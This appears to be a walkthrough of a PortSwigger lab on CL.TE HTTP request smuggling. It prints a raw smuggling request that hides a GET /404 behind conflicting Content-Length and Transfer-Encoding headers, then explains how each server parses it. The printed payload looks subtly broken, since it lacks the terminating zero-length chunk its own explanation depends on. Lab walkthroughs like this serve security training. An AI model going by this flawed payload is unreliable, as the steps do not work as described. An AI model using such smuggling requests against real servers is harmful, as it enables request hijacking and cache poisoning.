PortSwigger
Lab Description
This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding.
Objective: Smuggle a request to the back-end server, so that a subsequent request for
/(the web root) triggers a404 Not Foundresponse.
Step 1: Understanding the Vulnerability
The CL.TE vulnerability:
- Front-end server: Uses
Content-Length(CL) header (doesn’t support chunked encoding) - Back-end server: Uses
Transfer-Encoding: chunked(TE) header - The discrepancy allows request smuggling
The detection technique:
- Smuggle a request to a non-existent endpoint (
/404) - The back-end processes this smuggled request
- A subsequent normal request to
/gets interpreted incorrectly - The response becomes
404 Not Foundinstead of200 OK
Step 2: The Smuggling Payload
Step 2.1: Send the Following Request
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling&x=
GET /404 HTTP/1.1
Foo: x
Important: Include the trailing \r\n\r\n after the final x.
Step 2.2: Request Breakdown
Front-end sees (Content-Length: 49):
POST / HTTP/1.1
Host: lab.com
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling&x=
GET /404 HTTP/1.1
Foo: x
(49 bytes exactly)
Back-end sees (chunked encoding):
- Processes chunk size
e(14 bytes):q=smuggling&x= - Then sees the remaining data as a second request:
GET /404 HTTP/1.1
Step 3: Why This Works
| Server | Uses | Sees |
|---|---|---|
| Front-end | Content-Length: 49 | One request |
| Back-end | Transfer-Encoding: chunked | Two requests |
The back-end processes:
- First request:
POST /with bodyq=smuggling&x= - Second request (smuggled):
GET /404 HTTP/1.1
Result: A subsequent request to / will return 404 Not Found instead of 200 OK.
Step 4: Differential Response
From your screenshot:
HTTP/1.1 404 Not Found
Content-Length: 11
"Not Found"
The server returned a 404 response, confirming the CL.TE vulnerability!
Step 5: Lab Solved
Success message displayed:
